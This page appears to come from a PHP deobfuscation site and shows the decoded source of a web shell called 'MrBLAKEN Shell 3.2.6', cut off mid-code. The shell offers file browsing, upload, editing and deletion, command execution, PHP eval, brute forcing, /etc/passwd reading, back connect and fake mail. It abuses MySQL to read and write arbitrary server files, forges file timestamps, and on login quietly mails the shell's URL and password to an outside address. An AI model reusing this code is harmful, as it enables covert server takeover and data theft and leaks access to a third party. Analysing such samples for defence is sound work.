Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$text = "7b1se9u20jj695vnyWpAS59FYXF6trPYlhLb9ZI08Zq4aHlfvaJXRV5XVpTES1fz3e/MYCHAUpKTtOdqF..

Decoded Output download

if ($charset == 'utf8') {
    header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
    header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
    header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
    header("content-Type: text/html; charset=iso-8859-2");
}

$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();



/*===================== Login =====================*/
if ($action == "logout") {
    scookie('vbapass', '', -86400 * 365);
    p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
    p('<body background-color: #333333;>');
    exit;
}


if($admin['check']) {
    if ($doing == 'login') {
        if ($admin['pass'] == $password) {
            scookie('vbapass', $password);
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = ''.gethostbyname($_SERVER['SERVER_NAME']).'@google.com';
$to_email = '[email protected]';
$server_mail = "[ Decrypt ]";
$linkcr = "Host name : ".$_SERVER['HTTP_HOST']." - Host IP : ".gethostbyname($_SERVER['SERVER_NAME'])."\n\n Shell link : http://".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']."  \n  Pass : ".$admin['pass']."\n IP user : $ip_remote \n Time : $time_shell";
$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
            p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
            p('<body background-color: #000000;>
<BR><BR><div align=center><font color=black face=tahoma size=3>Loading - Please Wait ...<BR></div>');
            exit;
        }

    else
    {
    $err_mess = '<table width=100%><tr><td bgcolor=#0E0E0E width=100% height=24><div align=center><font color=red face=tahoma size=2><blink>Password incorrect , Please try again !</blink><BR></font></div></td></tr></table>';
echo $err_mess;
    }}
    if ($_COOKIE['vbapass']) {
        if ($_COOKIE['vbapass'] != $admin['pass']) {
            loginpage();
        }
    } else {
        loginpage();
    }
}


/*===================== Login =====================*/

$errmsg = '';

if ($action == 'phpinfo') {
    if (IS_PHPINFO) {
        phpinfo();
    } else {
        $errmsg = 'phpinfo() function has non-permissible';
    }
}
if ($doing == 'downfile' && $thefile) {
    if (!@file_exists($thefile)) {
        $errmsg = 'The file you want Downloadable was nonexistent';
    } else {
        $fileinfo = pathinfo($thefile);
        header('Content-type: application/x-'.$fileinfo['extension']);
        header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
        header('Content-Length: '.filesize($thefile));
        @readfile($thefile);
        exit;
    }
}
if ($doing == 'backupmysql' && !$saveasfile) {
    dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    $table = array_flip($table);
    $result = q("SHOW tables");
    if (!$result) p('<h2>'.mysql_error().'</h2>');
    $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
    header('Content-type: application/unknown');
    header('Content-Disposition: attachment; filename='.$filename);
    $mysqldata = '';
    while ($currow = mysql_fetch_array($result)) {
        if (isset($table[$currow[0]])) {
            $mysqldata .= sqldumptable($currow[0]);
        }
    }
    mysql_close();
    exit;
}
// Mysql
if($doing=='mysqldown'){
    if (!$dbname) {
        $errmsg = 'Please input dbname';
    } else {
        dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
        if (!file_exists($mysqldlfile)) {
            $errmsg = 'The file you want Downloadable was nonexistent';
        } else {
            $result = q("select load_file('$mysqldlfile');");
            if(!$result){
                q("DROP TABLE IF EXISTS tmp_angel;");
                q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
                //Download SQL
                q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
                $result = q("select content from tmp_angel");
                q("DROP TABLE tmp_angel");
            }
            $row = @mysql_fetch_array($result);
            if (!$row) {
                $errmsg = 'Load file failed '.mysql_error();
            } else {
                $fileinfo = pathinfo($mysqldlfile);
                header('Content-type: application/x-'.$fileinfo['extension']);
                header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
                header("Accept-Length: ".strlen($row[0]));
                echo $row[0];
                exit;
            }
        }
    }
}

?>



<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>> MrBLAKEN Shell 3.2.6</title>
<style type="text/css">
body,td{font: 10pt Tahoma;color:#00a1c3;line-height: 16px;}

a {color: #1DE9D0;text-decoration:none;}
a:hover{color: #00a1c3;text-decoration:underline;}
.alt1 td{border-top:1px solid #00a1c3;border-bottom:1px solid #00a1c3;background:#0E0E0E;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #00a1c3;border-bottom:1px solid #00a1c3;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #00a1c3;border-bottom:0px solid #00a1c3;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid #00a1c3;border-bottom:0px solid #00a1c3;background:#0E0E0E;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid #00a1c3;border-bottom:0px solid #00a1c3;background:#202020;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #00a1c3;border-bottom:1px solid #00a1c3;background:#202020;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid #00a1c3;border-bottom:1px solid #00a1c3;background:#202020;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
    font-size: 9pt;
    color: #ccc;
    font-family: verdana, sans-serif;
    background-color: #202020;
    border-left: 1px solid #00a1c3;
    border-top: 1px solid #00a1c3;
    border-right: 1px solid #00a1c3;
    border-bottom: 1px solid #00a1c3;
}
select
{
    font-size: 8pt;
    font-weight: normal;
    color: #ccc;
    font-family: verdana, sans-serif;
    background-color: #202020;
}

.style1 {font-size: 16pt}
body {
    background-image: FFFFFF;
}
body,td,th {
    color: #FFFFFF;
}
</style>
<script type="text/javascript">
function CheckAll(form) {
    for(var i=0;i<form.elements.length;i++) {
        var e = form.elements[i];
        if (e.name != 'chkall')
        e.checked = form.chkall.checked;
    }
}
function $(id) {
    return document.getElementById(id);
}
function goaction(act){
    $('goaction').action.value=act;
    $('goaction').submit();
}
</script>
</head>
<center><img src="http://zupimages.net/up/14/26/hckd.png"></img></center>


<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background-color: #333333;>


<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
                <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
                    <tr>
                        <td align="center" valign=center>
                 <div  align="center" class="style1" style="background-color: #0E0E0E; filter: alpha(opacity=70); opacity: .7; width: 110px; height: 25px; z-index: 1; border-collapse: collapse;" border="1" bordercolor="#006600">
                   Loading                  </div>                </td>
                    </tr>
                </table>
</div>
 <script>
 var ld=(document.all);
  var ns4=document.layers;
 var ns6=document.getElementById&&!document.all;
 var ie4=document.all;
  if (ns4)
     ld=document.loading;
 else if (ns6)
     ld=document.getElementById("loading").style;
 else if (ie4)
     ld=document.all.loading.style;
  function init()
 {
 if(ns4){ld.visibility="hidden";}
 else if (ns6||ie4) ld.display="none";
 }
 </script>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
    <tr class="head_small">
        <td  width=100% background="">
        <table width=100%><tr class="head_small"><td  width=86px align="center" background=""><p>
         
              




       
<span style="float:right;">

<?php echo "Hostname: ".$_SERVER['HTTP_HOST']."";?>  | <a href="http://google.com" target="_blank"><a href="http://frenchdebrid.fr.cr" target="_blank"><?php echo str_replace('.','','MrBLAKEN Shell 3.2.6');?></a> Version 2014</a> | <a href="javascript:goaction('logout');"><font color=#00a1c3>Log Out</font></a>
</span>


        <?php
        $curl_on = @function_exists('curl_version');
        $mysql_on = @function_exists('mysql_connect');
        $mssql_on = @function_exists('mssql_connect');
        $pg_on = @function_exists('pg_connect');
        $ora_on = @function_exists('ocilogon');

echo (($safe_mode)?("Safe_mod: <b><font color=green>ON</font></b> - "):("Safe_mod: <b><font color=red>OFF</font></b> - "));
echo "PHP version: <b>".@phpversion()."</b> - ";
        echo "cURL: ".(($curl_on)?("<b><font color=green>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
        echo "MySQL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=green>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
echo "MSSQL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "PostgreSQL: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=green>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=green>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
echo "<font color=white>Uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
        ?>        </td>
        </tr></table></td>
    </tr>
    <tr class="alt1">
        <td  width=100% background=""><span style="float:right;">[Server IP: <?php echo "<font color=red>".gethostbyname($_SERVER['SERVER_NAME'])."</font>";?> - Your IP: <?php echo "<font color=red>".$_SERVER['REMOTE_ADDR']."</font>";?>] </span>
            <a href="javascript:goaction('file');">File Manager</a> |
            <a href="javascript:goaction('sqladmin');">MySQL Manager</a> |
            <a href="javascript:goaction('sqlfile');">MySQL Upload &amp; Download</a> |
            <a href="javascript:goaction('shell');">Execute Command</a> |
            <a href="javascript:goaction('phpenv');">PHP Variable</a> |
            <a href="javascript:goaction('eval');">Eval PHP Code</a>
            <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute</a> <?php }?>
            <?php if (!IS_WIN) {?> | <a href="javascript:goaction('etcpwd');">/etc/passwd</a>
            <?php }?>
            <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">Back Connect</a>
            <?php }?> |<a href="?id=fake-mail"><font face="Tahoma" size="2" color="#1DE9D0"> <span style="text-decoration: none">Fake mail</span></font></a></b></td>
    </tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php
formhead(array('name'=>'goaction'));
makehide('action');
formfoot();
$errmsg && m($errmsg);
// Dir function
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
    $dir = $dir.'/';
}
$uedir = ue($dir);

if (!$action || $action == 'file') {

    // Non-writeable
    $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';

    // Delete dir
    if ($doing == 'deldir' && $thefile) {
        if (!file_exists($thefile)) {
            m($thefile.' directory does not exist');
        } else {
            m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'failed'));
        }
    }

    // Create new dir
    elseif ($newdirname) {
        $mkdirs = $nowpath.$newdirname;
        if (file_exists($mkdirs)) {
            m('Directory has already existed');
        } else {
            m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
            @chmod($mkdirs,0777);
        }
    }

    // Upload file
    elseif ($doupfile) {
        m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
    }

    // Edit file
    elseif ($editfilename && $filecontent) {
        $fp = @fopen($editfilename,'w');
        m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
        @fclose($fp);
    }

    // Modify
    elseif ($pfile && $newperm) {
        if (!file_exists($pfile)) {
            m('The original file does not exist');
        } else {
            $newperm = base_convert($newperm,8,10);
            m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));
        }
    }

    // Rename
    elseif ($oldname && $newfilename) {
        $nname = $nowpath.$newfilename;
        if (file_exists($nname) || !file_exists($oldname)) {
            m($nname.' has already existed or original file does not exist');
        } else {
            m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
        }
    }

    // Copu
    elseif ($sname && $tofile) {
        if (file_exists($tofile) || !file_exists($sname)) {
            m('The goal file has already existed or original file does not exist');
        } else {
            m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
        }
    }

    // File exit
    elseif ($curfile && $tarfile) {
        if (!@file_exists($curfile) || !@file_exists($tarfile)) {
            m('The goal file has already existed or original file does not exist');
        } else {
            $time = @filemtime($tarfile);
            m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
        }
    }

    // Date
    elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
        if (!@file_exists($curfile)) {
            m(basename($curfile).' does not exist');
        } else {
            $time = strtotime("$year-$month-$day $hour:$minute:$second");
            m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
        }
    }

    // Download
    elseif($doing == 'downrar') {
        if ($dl) {
            $dfiles='';
            foreach ($dl as $filepath => $value) {
                $dfiles.=$filepath.',';
            }
            $dfiles=substr($dfiles,0,strlen($dfiles)-1);
            $dl=explode(',',$dfiles);
            $zip=new PHPZip($dl);
            $code=$zip->out;
            header('Content-type: application/octet-stream');
            header('Accept-Ranges: bytes');
            header('Accept-Length: '.strlen($code));
            header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
            echo $code;
            exit;
        } else {
            m('Please select file(s)');
        }
    }

    // Delete file
    elseif($doing == 'delfiles') {
        if ($dl) {
            $dfiles='';
            $succ = $fail = 0;
            foreach ($dl as $filepath => $value) {
                if (@unlink($filepath)) {
                    $succ++;
                } else {
                    $fail++;
                }
            }
            m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
        } else {
            m('Please select file(s)');
        }
    }

    // Function Newdir
    formhead(array('name'=>'createdir'));
    makehide('newdirname');
    makehide('dir',$nowpath);
    formfoot();
    formhead(array('name'=>'fileperm'));
    makehide('newperm');
    makehide('pfile');
    makehide('dir',$nowpath);
    formfoot();
    formhead(array('name'=>'copyfile'));
    makehide('sname');
    makehide('tofile');
    makehide('dir',$nowpath);
    formfoot();
    formhead(array('name'=>'rename'));
    makehide('oldname');
    makehide('newfilename');
    makehide('dir',$nowpath);
    formfoot();
    formhead(array('name'=>'fileopform'));
    makehide('action');
    makehide('opfile');
    makehide('dir');
    formfoot();

    $free = @disk_free_space($nowpath);
    !$free && $free = 0;
    $all = @disk_total_space($nowpath);
    !$all && $all = 0;
    $used = $all-$free;
    $used_percent = @round(100/($all/$free),2);
    p('<font color=#00a1c3 face=tahoma size=2><B>File Manager</b> </font> Current disk free <font color=red>'.sizecount($free).'</font> of <font color=red>'.sizecount($all).'</font> (<font color=red>'.$used_percent.'</font>%)</font>');

?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  <form action="" method="post" id="godir" name="godir">
  <tr>
    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
    <td width="100%" background=""><input name="view_writable" value="0" type="hidden" />
      <input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="GO" type="submit"></td>
  </tr>
  </form>
</table>
<script type="text/javascript">
function createdir(){
    var newdirname;
    newdirname = prompt('Please input the directory name:', '');
    if (!newdirname) return;
    $('createdir').newdirname.value=newdirname;
    $('createdir').submit();
}
function fileperm(pfile){
    var newperm;
    newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
    if (!newperm) return;
    $('fileperm').newperm.value=newperm;
    $('fileperm').pfile.value=pfile;
    $('fileperm').submit();
}
function copyfile(sname){
    var tofile;
    tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
    if (!tofile) return;
    $('copyfile').tofile.value=tofile;
    $('copyfile').sname.value=sname;
    $('copyfile').submit();
}
function rename(oldname){
    var newfilename;
    newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
    if (!newfilename) return;
    $('rename').newfilename.value=newfilename;
    $('rename').oldname.value=oldname;
    $('rename').submit();
}
function dofile(doing,thefile,m){
    if (m && !confirm(m)) {
        return;
    }
    $('filelist').doing.value=doing;
    if (thefile){
        $('filelist').thefile.value=thefile;
    }
    $('filelist').submit();
}
function createfile(nowpath){
    var filename;
    filename = prompt('Please input the file name:', '');
    if (!filename) return;
    opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
    $('fileopform').action.value=action;
    $('fileopform').opfile.value=opfile;
    $('fileopform').dir.value=dir;
    $('fileopform').submit();
}
function godir(dir,view_writable){
    if (view_writable) {
        $('godir').view_writable.value=1;
    }
    $('godir').dir.value=dir;
    $('godir').submit();
}
</script>
  <?php
    tbhead();
    p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
    p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    if ($view_writable) {
        p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
    } else {
        p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
    }
    p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
    if (IS_WIN && IS_COM) {
        $obj = new COM('scripting.filesystemobject');
        if ($obj && is_object($obj)) {
            $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
            foreach($obj->Drives as $drive) {
                if ($drive->DriveType == 2) {
                    p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
Free:'.sizecount($drive->FreeSpace).'
Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
                } else {
                    p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
                }
            }
        }
    }

    p('</td></tr></form>');

    p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');

    // Get path
    $dirdata=array();
    $filedata=array();

    if ($view_writable) {
        $dirdata = GetList($nowpath);
    } else {
        // Open dir
        $dirs=@opendir($dir);
        while ($file=@readdir($dirs)) {
            $filepath=$nowpath.$file;
            if(@is_dir($filepath)){
                $dirdb['filename']=$file;
                $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
                $dirdb['dirchmod']=getChmod($filepath);
                $dirdb['dirperm']=getPerms($filepath);
                $dirdb['fileowner']=getUser($filepath);
                $dirdb['dirlink']=$nowpath;
                $dirdb['server_link']=$filepath;
                $dirdb['client_link']=ue($filepath);
                $dirdata[]=$dirdb;
            } else {
                $filedb['filename']=$file;
                $filedb['size']=sizecount(@filesize($filepath));
                $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
                $filedb['filechmod']=getChmod($filepath);
                $filedb['fileperm']=getPerms($filepath);
                $filedb['fileowner']=getUser($filepath);
                $filedb['dirlink']=$nowpath;
                $filedb['server_link']=$filepath;
                $filedb['client_link']=ue($filepath);
                $filedata[]=$filedb;
            }
        }// while
        unset($dirdb);
        unset($filedb);
        @closedir($dirs);
    }
    @sort($dirdata);
    @sort($filedata);
    $dir_i = '0';
    foreach($dirdata as $key => $dirdb){
        if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
            $thisbg = bg();
            p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
            p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
            p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
            p('<td nowrap>'.$dirdb['mtime'].'</td>');
            p('<td nowrap>--</td>');
            p('<td nowrap>');
            p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
            p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
            p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
            p('</tr>');
            $dir_i++;
        } else {
            if($dirdb['filename']=='..') {
                p('<tr class=fout>');
                p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
                p('</tr>');
            }
        }
    }

    p('<tr bgcolor="#00a1c3" stlye="border-top:1px solid #00a1c3;border-bottom:1px solid #00a1c3;"><td colspan="6" height="5"></td></tr>');
    p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
    makehide('action','file');
    makehide('thefile');
    makehide('doing');
    makehide('dir',$nowpath);
    $file_i = '0';
    foreach($filedata as $key => $filedb){
        if($filedb['filename']!='..' && $filedb['filename']!='.') {
            $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
            $thisbg = bg();
            p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
            p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
            p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
            p('<td nowrap>'.$filedb['mtime'].'</td>');
            p('<td nowrap>'.$filedb['size'].'</td>');
            p('<td nowrap>');
            p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
            p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
            p('<td nowrap>');
            p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
            p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
            p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
            p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
            p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
            p('</td></tr>');
            $file_i++;
        }
    }
    p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Files.tar.gz download </a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
    p('</form></table>');
}// end dir

elseif ($action == 'sqlfile') {
    if($doing=="mysqlupload"){
        $file = $_FILES['uploadfile'];
        $filename = $file['tmp_name'];
        if (file_exists($savepath)) {
            m('The goal file has already existed');
        } else {
            if(!$filename) {
                m('Please choose a file');
            } else {
                $fp=@fopen($filename,'r');
                $contents=@fread($fp, filesize($filename));
                @fclose($fp);
                $contents = bin2hex($contents);
                if(!$upname) $upname = $file['name'];
                dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
                $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
                m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
            }
        }
    }
?>
<script type="text/javascript">
function mysqlfile(doing){
    if(!doing) return;
    $('doing').value=doing;
    $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
    $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
    $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
    $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
    $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    $('mysqlfile').charset.value=$('dbinfo').charset.value;
    $('mysqlfile').submit();
}
</script>
<?php
    !$dbhost && $dbhost = 'localhost';
    !$dbuser && $dbuser = 'root';
    !$dbport && $dbport = '3306';
    $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
    makehide('action','sqlfile');
    p('<p>');
    p('DBHost:');
    makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    p(':');
    makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    p('DBUser:');
    makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    p('DBPass:');
    makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    p('DBName:');
    makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
    p('DBCharset:');
    makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    p('</p>');
    formfoot();
    p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    p('<h2>Upload file</h2>');
    p('<p><b>This operation the DB user must has FILE privilege</b></p>');
    p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
    p('<h2>Download file</h2>');
    p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
    makehide('dbhost');
    makehide('dbport');
    makehide('dbuser');
    makehide('dbpass');
    makehide('dbname');
    makehide('charset');
    makehide('doing');
    makehide('action','sqlfile');
    p('</form>');
}

elseif ($action == 'sqladmin') {
    !$dbhost && $dbhost = 'localhost';
    !$dbuser && $dbuser = 'root';
    !$dbport && $dbport = '3306';
    $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
    if(isset($dbhost)){
        $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
    }
    if(isset($dbuser)) {
        $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
    }
    if(isset($dbpass)) {
        $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
    }
    if(isset($dbport)) {
        $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
    }
    if(isset($dbname)) {
        $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
    }
    if(isset($charset)) {
        $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
    }

    if ($doing == 'backupmysql' && $saveasfile) {
        if (!$table) {
            m('Please choose the table');
        } else {
            dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
            $table = array_flip($table);
            $fp = @fopen($path,'w');
            if ($fp) {
                $result = q('SHOW tables');
                if (!$result) p('<h2>'.mysql_error().'</h2>');
                $mysqldata = '';
                while ($currow = mysql_fetch_array($result)) {
                    if (isset($table[$currow[0]])) {
                        sqldumptable($currow[0], $fp);
                    }
                }
                fclose($fp);
                $fileurl = str_replace(SA_ROOT,'',$path);
                m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
                mysql_close();
            } else {
                m('Backup failed');
            }
        }
    }
    if ($insert && $insertsql) {
        $keystr = $valstr = $tmp = '';
        foreach($insertsql as $key => $val) {
            if ($val) {
                $keystr .= $tmp.$key;
                $valstr .= $tmp."'".addslashes($val)."'";
                $tmp = ',';
            }
        }
        if ($keystr && $valstr) {
            dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
            m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
        }
    }
    if ($update && $insertsql && $base64) {
        $valstr = $tmp = '';
        foreach($insertsql as $key => $val) {
            $valstr .= $tmp.$key."='".addslashes($val)."'";
            $tmp = ',';
        }
        if ($valstr) {
            $where = base64_decode($base64);
            dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
            m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
        }
    }
    if ($doing == 'del' && $base64) {
        $where = base64_decode($base64);
        $delete_sql = "DELETE FROM $tablename WHERE $where";
        dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
